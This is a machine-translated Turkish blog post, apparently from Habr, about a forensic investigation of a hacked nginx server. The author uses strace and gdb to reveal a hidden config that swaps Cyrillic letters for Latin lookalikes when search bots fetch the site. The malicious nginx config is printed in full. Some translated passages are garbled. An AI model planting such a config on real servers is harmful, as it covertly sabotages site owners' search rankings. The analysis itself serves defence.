'A', 'a'ya eşit olmadığında. Bir hack sonrasında

Arkadaşlarımdan birinin başına çok hoş olmayan bir hikaye geldi. Ancak Mikhail için ne kadar nahoş olsa da benim için de bir o kadar eğlenceliydi.

Şunu söylemeliyim ki arkadaşım oldukça UNIX-kullanıcı: sistemi kendisi kurabilir mysql, php ve basit ayarlar yapın nginx.
Ve inşaat araçlarına adanmış bir düzine veya bir buçuk web sitesi var.

Motorlu testerelere adanmış bu sitelerden biri, arama motorlarının ÜSTÜNDE yer alıyor. Bu site ticari olmayan bir incelemecidir, ancak birisi ona saldırmayı alışkanlık haline getirmiştir. O DDoS, sonra kaba kuvvet kullanıyorlar, ardından müstehcen yorumlar yazıyorlar ve sunucuya ve RKN'ye suistimaller gönderiyorlar.
Bir anda her şey sakinleşti ve bu sakinliğin iyi olmadığı ortaya çıktı ve site yavaş yavaş arama sonuçlarında üst sıralardan çıkmaya başladı.

'A', 'a'ya eşit olmadığında. Bir hacklemenin ardından

Bu bir deyişti, sonra yöneticinin hikayesi.

Telefon çaldığında yatma vakti yaklaşıyordu: “San, sunucuma bakmayacak mısın? Bana öyle geliyor ki hacklendim, bunu kanıtlayamıyorum ama bu duygu beni üçüncü haftadır terk etmedi. Belki de artık paranoya tedavisi görmemin zamanı gelmiştir?”

Yarım saatlik bir tartışmanın ardından şu şekilde özetlenebilir:

  • hackleme için toprak oldukça verimliydi;
  • bir saldırgan süper kullanıcı haklarını elde edebilir;
  • saldırı (eğer gerçekleştiyse) özellikle bu siteyi hedef aldı;
  • sorunlu alanlar düzeltildi ve sadece herhangi bir nüfuz olup olmadığını anlamanız gerekiyor;
  • hack site kodunu ve veritabanlarını etkileyemedi.

Son noktaya gelince.

'A', 'a'ya eşit olmadığında. Bir hacklemenin ardından

Yalnızca beyaz ön uç IP dünyaya bakar. Arka uçlar ile ön uç arasında http(ler) dışında herhangi bir değişim yoktur, kullanıcılar/şifreler farklıdır, anahtar değişimi yapılmamıştır. Gri adreslerde 80/443 dışındaki tüm bağlantı noktaları kapalıdır. Beyaz arka uç IP'leri yalnızca Mikhail'in tamamen güvendiği iki kullanıcı tarafından biliniyor.

Ön uçta yüklü Debian 9 ve çağrı yapıldığı sırada sistem, harici bir güvenlik duvarı tarafından dünyadan izole edilir ve durdurulur.

"Tamam, bana erişim izni ver." Uykuyu bir saatliğine ertelemeye karar verdim. "Kendi gözlerimle göreceğim."

Burada ve daha fazlası:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Olası bir hack aranıyor

İlk önce sunucuyu başlatıyorum kurtarma Modu. Diskleri takıyorum ve aralarından geçiyorum yetki-kütükler, tarih, sistem günlükleri vb., mümkün olduğunda dosya oluşturma tarihlerini kontrol ediyorum, ancak normal bir korsanın kendi peşinden "süpürdüğünü" ve Misha'nın kendisini ararken zaten çok "aşağı indiğini" anlıyorum. .

Normal modda başlıyorum, henüz ne arayacağımı tam olarak anlamadım, yapılandırmaları inceliyorum. Öncelikle ilgileniyorum nginx çünkü genel olarak ön uçta onun dışında başka hiçbir şey yoktur.
Yapılandırmalar küçük, bir düzine dosya halinde iyi yapılandırılmış, sadece onlara bakıyorum kedi'ah birer birer. Her şey temiz görünüyor ama bir şeyi kaçırıp kaçırmadığımı asla bilemezsin dahilTam bir liste yapayım:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Anlamadım: “Giriş nerede?”

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Listeleme sorusuna ikinci bir soru eklendi: "Neden nginx'in bu kadar eski bir sürümü?"

Ayrıca sistem en son sürümün kurulu olduğuna inanıyor:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Arıyorum:
- Misha, neden yeniden toplandın? nginx?
- Durun, bunu nasıl yapacağımı bile bilmiyorum!
- Tamam, hadi uyu...

nginx açıkça yeniden oluşturulduğu ve “-T” kullanılarak yapılan listelemenin çıktısının bir nedenden dolayı gizlendiği görülüyor. Artık bilgisayar korsanlığı konusunda herhangi bir şüpheniz yok ve bunu basitçe kabul edebilirsiniz ve (Misha zaten sunucuyu yenisiyle değiştirdiğinden beri) sorunun çözüldüğünü düşünebilirsiniz.

Ve gerçekten de birisi hakları aldığından beri kök'ah, o zaman bunu yapmak mantıklı olur sistem yeniden yüklemeOrada neyin yanlış olduğunu aramak faydasızdı ama bu sefer merak uykuyu yendi. Bizden neyi saklamak istediklerini nasıl öğrenebiliriz?

İzini sürmeye çalışalım:

$ strace nginx -T

Bakıyoruz, iz a la'da açıkça yeterli çizgi yok

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Sırf eğlence olsun diye bulguları karşılaştıralım.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Sanırım kodun bir parçası /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

şu şekle getirildi:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

veya

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

bu nedenle "-T" ile yapılan liste görüntülenmez.

Peki yapılandırmamızı nasıl görüntüleyebiliriz?

Düşüncem doğruysa ve sorun yalnızca değişkendeyse ngx_dump_config kullanarak yüklemeyi deneyelim gdbNeyse ki bir anahtar var --cc-opt ile -g mevcut ve umarım optimizasyon -O2 bize zarar vermez. Aynı zamanda nasıl olduğunu bilmediğim için ngx_dump_config içinde işlenebilecek 'T' durumu:, bu bloğu çağırmayacağız, ancak kullanarak yükleyeceğiz durum 't':

Neden '-t' yanı sıra '-T' kullanabilirsiniz?Blok İşleme if(ngx_dump_config) içeride olur if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Tabii eğer kod burada değil de bu kısımda değiştirilirse 'T' durumu:, o zaman yöntemim işe yaramayacak.

Nginx.conf'u test edinSorunu zaten deneysel olarak çözdükten sonra, kötü amaçlı yazılımın çalışması için minimum bir yapılandırmanın gerekli olduğu tespit edildi nginx tip:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Makalede kısalık sağlamak için bunu kullanacağız.

Hata ayıklayıcıyı başlat

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Adım adım:

  • fonksiyonda bir kesme noktası belirleyin ana()
  • programı Başlat
  • yapılandırmanın çıktısını belirleyen değişkenin değerini değiştirin ngx_dump_config=1
  • programı devam ettir/sonlandır

Gördüğümüz gibi gerçek konfigürasyon bizimkinden farklı, ondan parazitik bir parça seçiyoruz:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Şimdi sırasıyla burada olup bitenlere bir göz atalım.

belirlenir User-Agentyandex/google'da:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Hizmet sayfaları hariçtir wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ve yukarıdaki koşulların her ikisine de girenler için

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

metinde html-sayfalar değişir 'Ö' üzerinde 'Ö' и 'A' üzerinde 'a':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Aynen öyle, tek incelik şu ki 'a' != 'a' birlikte 'o' != 'o':

'A', 'a'ya eşit olmadığında. Bir hacklemenin ardından

Böylece, arama motoru botları normal %100 Kiril metni yerine Latince ile seyreltilmiş değiştirilmiş çöpleri alır. 'a' и 'Ö'. Bunun SEO'yu nasıl etkilediğini tartışmaya cesaret edemiyorum, ancak böyle bir harf karmaşasının arama sonuçlarındaki konumlar üzerinde olumlu bir etki yaratması pek olası değil.

Hayal gücü olan arkadaşlar, ne diyebilirim ki?

referanslar

GDB ile hata ayıklama
gdb(1) — Linux kılavuz sayfası
strace(1) — Linux kılavuz sayfası
Nginx - Modül ngx_http_sub_module
Testereler, motorlu testereler ve elektrikli testereler hakkında

Kaynak: habr.com

Yorum ekle